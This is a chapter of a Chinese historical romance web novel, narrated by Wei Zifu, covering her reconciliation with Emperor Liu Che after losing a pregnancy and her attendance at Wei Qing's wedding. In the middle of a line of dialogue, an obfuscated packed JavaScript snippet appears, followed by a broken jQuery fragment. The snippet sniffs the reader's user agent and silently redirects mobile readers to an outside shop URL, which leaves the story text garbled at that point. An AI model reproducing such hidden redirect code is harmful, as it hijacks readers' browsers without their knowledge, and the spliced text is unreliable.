“子夫啊,但凡要是有一点儿办法,我又怎会舍弃他呢?”
他过来抱着我,缓缓说道:“你晕厥那日,义妁跟我说,你早产时身子受了损伤,现在还不适合怀胎,更不适合生产,我本想拖两日看看有没有其他法子,可那日看见你疼成那样,我不敢再等了,孩子没了,我们还可以有其他的孩子,可你要有什么闪失,那我会后悔一辈子的。”
他将我的手放到他的胸口上:“那日看着你疼我却无能为力,我这心里就跟刀扎一样难受,我是真的怕啊!”
“对不起!”我自责道。
这些日子,我只沉浸在自己的悲痛里,不管他,孩子没了,皇后闹自杀,我还一味的责怪他,想来这些日子他心里也一定不好受吧。
埋首在他的怀里,我泣不成声:“是我没用,一点事儿都经不住,护不住咱们的孩子!”
“不怪你,别哭”,他摇头,又厉声道:“真正对不起我的人,是她!她既存了当吕后的心思,是连朕也一起算计进去了,朕倒是想看看,她还有没有那个本事!”
想起戚夫人和赵王的惨剧,我心底便一阵发寒,如今夺了她的玺绶,皇后之位已形同虚设,她再难翻起什么浪来。
“别怕,子夫”,他抚摸着我的后背安抚,语气又变得温和起来:“你记住,不管是现在还是以后,有朕在,谁也动不了你和孩子,但凡有这个心思,朕都饶不了她,即便朕不在了,朕也不会让吕后再现,戚夫人之事也绝不可能再发生了。”
我默默点头,又伸手去摸他的脸,下颌生了密密麻麻的胡须,硬硬的有些扎手,显然是有些日子没刮脸了。
他平日里要接见朝臣,向来注重仪容,很少有像这样不刮脸的时候。这些日子忽略了他,我心下难受,心疼的道:“陛下清瘦了不少,是不是身边侍奉的人没有尽心?”
他面上露出笑意,握着我的手放在他的脸上:“我不过是碍于太后的面子才将那两个人收下,可一次都没召幸过,你若不喜欢,回头找个由头打发出去便是。”
“别!”我没想到他会错了意,立刻阻拦道:“皇太后也是为了皇嗣着想,陛下不要拂了她老人家的心意。”
他坐到我身后,让我靠着他: “那你也别多想,只要你好好的,比什么都重要。”
我握着他的手,垂下眼睑:“虽然你们不肯跟我说实话,可我知道,我这身子再想受孕怕也难了。”
“我不让他们在你这里提孩子,就是怕你多心,我疼你,爱你,和子嗣无关,我只要你健健康康的陪在我身边,其他的不强求。”
“陛下的心意我自然明白,可皇嗣关乎国祚,陛下也不能大意了,若是有喜欢又好生养的,陛下就留在身边服侍,我没那么狭隘。”
“朕这心里哪里还装的下别人”,他拥紧了我,又道:“你放心吧,左右朕不是不能生,也不是现在就要传宗接代,操那么远的心做什么?你只管养好身子,其他的不用管,都有朕呢。”
“天保定尔,亦孔之固。俾尔单厚,何福不除?……如月之恒,如日之升。如南山之寿,不骞不崩。如松柏之茂,无不尔或承。”
我依偎在他怀里,曼声吟唱诗三百里的小曲,期盼着通过自己的歌声也能让他明白自己的心意。经历过失去之后,愈发知道身边人的珍贵,我会好好的,而且会越来越好,既为了孩子,也为了他。
刘彻曾梦麒麟,也一直认为那个未出世的孩子是个皇子,孩子没了,他绝口不提,也不准大家提,既是怕我听了伤心,也是自己一时间难以接受,如今想通了,说开了,彼此之间也多了一分信任,心更近了,也就更有勇气去面对这一切了。
四月,刘彻下召,大赦天下。赐民长子爵一级,复七国宗室前绝属者。此外,刘彻正式册封二公主幼蓁为石邑公主。
刘彻感慨道:“这么做,也算是为那个孩子祈福吧,希望他下辈子,能再做一回咱们的儿子。”
听他这么说,我心中还略有些伤感,说道:“做不做咱们的儿子不重要,我只愿他下辈子能平平安安的就好。”
刘彻翻看着我的绣样,说道:“你要送礼,从国库里挑几件贵重的送过去就好,何苦还要淘神费力的亲自去绣?”
“国库的东西都是百姓孝敬陛下的,将来还大有用处,我可不敢动。”我笑道,继续埋头去绣手里的绣品。
“我的不就是你的么,有什么不敢的?”
他侧过身来看我:“你老这么在屋里闷着做这个,我怕你闷出病来,要不我带你去上林苑住一阵吧?”
“我懒得动了”,我摇头道:“这好歹也是我的一番心意,我想赶在卫青婚礼前绣完。”
出了月子以后,天气也渐渐热了起来,平日无事,我便不大出门,一心一意的去绣鸳鸯衾,我的女红并不算好,又耽搁了这么些时日,若再不加紧些,只怕不能赶在卫青婚礼前送出去了。
元光元年,七月丙子,卫青与公孙婵大婚。
多年没有出宫的我,特地向刘彻讨了恩典,准我出宫参加卫青的婚宴。我不喜张扬,也没有要刘彻给我准备的仪仗,只是乔装改扮了一番,一驾小车带着东儿和豆如意便出了宫。
豆如意是刘彻的心腹,为人机灵,身手也不错,刘彻不能与我同去,便让他来护我周全。
卫家和公孙敖家都不是世族大家,婚礼的场面并不算盛大,但花天锦地,鼓乐齐鸣,倒也是极热闹的。
卫青身着大红喜服携新妇缓步到堂前行了拜礼,又在众人的祝祷声中入了新房,在喜媪的指引下,夫妇二人行了沃盥礼,对席而坐,有侍者捧上了美酒彘肉,夫妇共牢而食,合卺而酳,解缨结发后便算礼成。
曾经的我,也期盼着能有一场像他们这样的婚礼,不用多隆重,只需在亲朋好友的见证下,两个人许下相亲相爱,携手一生的诺言。而今,我虽未能如愿办上这样一场婚礼,可老天待我不薄,让我遇上了可以执手相伴一生的人。
想到刘彻,我心中总是欢喜的,对卫青道:“陛下本来是想同我一起来的,可他事多不好抽身,又怕来了大家拘谨,不能尽兴,所以便让我给你带话,祝你们夫妻和顺,白首同心。”
“多谢姐夫”,卫青很是开心,笑道:“阿姐能来我就很高兴了!”
“成了家就是大人了,以后可就要独当一面了,要学着稳重些,记得好好的对人家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014948|148616||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,要是让阿姐知道你欺负婵儿,阿姐可饶不了你。”
我心知这句话说的多余,可还是忍不住想叮嘱他。
卫青扁了嘴:“阿姐偏心!”
我笑了笑,嗔道:“怎么越说越孩子气了?”
卫青握紧了我的手,笑道:“不管我多大,你永远都是我阿姐,永远都不会变!”
我点头,靠在他的肩上道:“你也一样,永远都是我弟弟。”
喜宴上的美酒最是醉人,约莫两三杯下肚,便觉得有些燥热,瞥见宴席上众人的兴致正盛,我便拉了东儿到庭院中醒酒。
月明星稀,徐徐的清风,吹皱了淡淡的云纹,惊醒了栖息在草丛深处的蝉虫和青蛙。叽叽呱呱的叫着,就像此时的夜宴一样,好生热闹。
多年不见,庭院中的柳树依然枝繁叶茂,疏斜的柳枝随风轻舞,伴着清浅柔和的月光,落下斑驳剪影,曲折蜿蜒而又扑朔迷离。
“子夫……”
醉意阑珊的我听到这声呼唤,忽而变得清醒,光影重叠间一个似曾相识的身影朝我走来。
他一身月白长衫,欣长的身材在这稀疏的月色下显得有些单薄,清瘦面容上的笑容平淡无尘,正如这初秋凄切蝉鸣。
我没有说话,只是看着他,一步一步向我靠近,修长的影子落在我的身上,挡住了我眼前稀薄的光,让我隐隐感觉有些寒意。
他的嗓音低沉喑哑,就像此刻朦胧的月色,轻轻的道:“许久不见,你还好么?”
我点点头,侧过身去,避开了眼前的暗影。
许久,他才又道:“我想和你单独说几句话,可以么?”
东儿闻言欲要退下,我忙将她拉住,说道:“东儿不是外人,有什么话就在这儿说罢。”
空气中冷漠和疏离的气息久久不散,眼前的人如僵滞一般,喉结一阵短暂的蠕动过后归于平静,终是相顾无言。
许久,我才又道:“季二哥若是无话,子夫便回去了。”
我未等他答话,微微一福,拉着东儿转身离去。
一心沉浸在今日的喜庆当中,没想到季风会出现,也没想到会在此刻遇见他,这是我的疏忽,毕竟是卫青大婚,他怎么可能会不来呢!
季风的突然出现,扰乱了我所有的兴致,不想再经历一遍方才的尴尬境遇,是以婚宴还没结束,我便告辞离开,去了平阳公主家留宿。
因是提前安排好的,所以平阳公主对我的到来并未感觉到诧异,只是对未能去参加卫青的婚礼表示歉意:“卫青的婚礼,我本该前去恭贺的,奈何君侯这两日身子不好,我实在走不开,希望妹妹不要介意。”
我摇头道:“我知道的,公主和我就不要将这些虚礼了,君侯身子如何了?公主引我去瞧瞧罢?”
“你不用管他,原是季节变换引发了旧疾,已经吃了药歇下了!”
平阳公主引我入了为我安置的寝阁,又说了一会子话,便各自歇下了。
夜里睡得并不安稳,次日一早就醒了。多年没有出宫,此次出宫,除了参加卫青的婚礼,我还想去祭拜一下父母,尽一尽多年未尽的孝心。所以,一大早又拉着东儿和豆如意去了集市。